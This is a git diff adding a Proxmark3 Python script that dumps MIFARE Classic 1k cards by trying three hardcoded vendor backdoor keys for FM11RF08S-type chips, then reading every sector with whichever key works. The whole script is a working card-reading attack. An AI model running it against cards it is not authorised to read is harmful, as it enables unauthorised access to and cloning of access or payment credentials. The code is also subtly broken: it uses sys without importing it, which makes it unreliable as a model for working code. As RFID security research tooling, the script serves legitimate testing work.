diff --git a/client/pyscripts/mf_backdoor_dump.py b/client/pyscripts/mf_backdoor_dump.py new file mode 100644 index 000000000..e8836c358 --- /dev/null +++ b/client/pyscripts/mf_backdoor_dump.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python3 + +# Uses the backdoor keys for the FM11RF08S (and similar) chipsets to quickly dump all the data they can read +# Tested on vulnerable 1k chips only +# Based on the work in this paper: https://eprint.iacr.org/2024/1275 + +import pm3 +import os + +TOTAL_SECTORS = 16 #1k chips + +BACKDOOR_KEYS = ["A396EFA4E24F", "A31667A8CEC1", "518B3354E760"] +WORKING_KEY = None + +required_version = (3, 8) +if sys.version_info < required_version: + print(f"Python version: {sys.version}") + print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.") + exit() +p = pm3.pm3() + +# Test all the keys first to see which one works (if any) +for bk in BACKDOOR_KEYS: + p.console(f"hf mf rdbl -c 4 --key {bk} --blk 0") + output = p.grabbed_output.split('\n') + + if "auth error" in output[0].lower(): + continue + elif "can't select card" in output[0].lower(): + print("Error reading the tag.") + exit() + else: + WORKING_KEY = bk + break + +if not WORKING_KEY: + print("None of the backdoor keys seem to work with this tag.") + exit() + +print(f"Backdoor key {WORKING_KEY} seems to work, dumping data...") +print("IMPORTANT: Only data blocks and access bytes can be dumped; keys will be shown as all 0's") + +header = False +# Read every sector +for i in range(TOTAL_SECTORS): + p.console(f"hf mf rdsc -c 4 --key {WORKING_KEY} -s {i}") + + start = False + for line in p.grabbed_output.split('\n'): + if not header: + print(line) + elif start and len(line) > 0: + print(line) + continue + + if "----------" in line: + start = True + header = True + continue + else: + continue +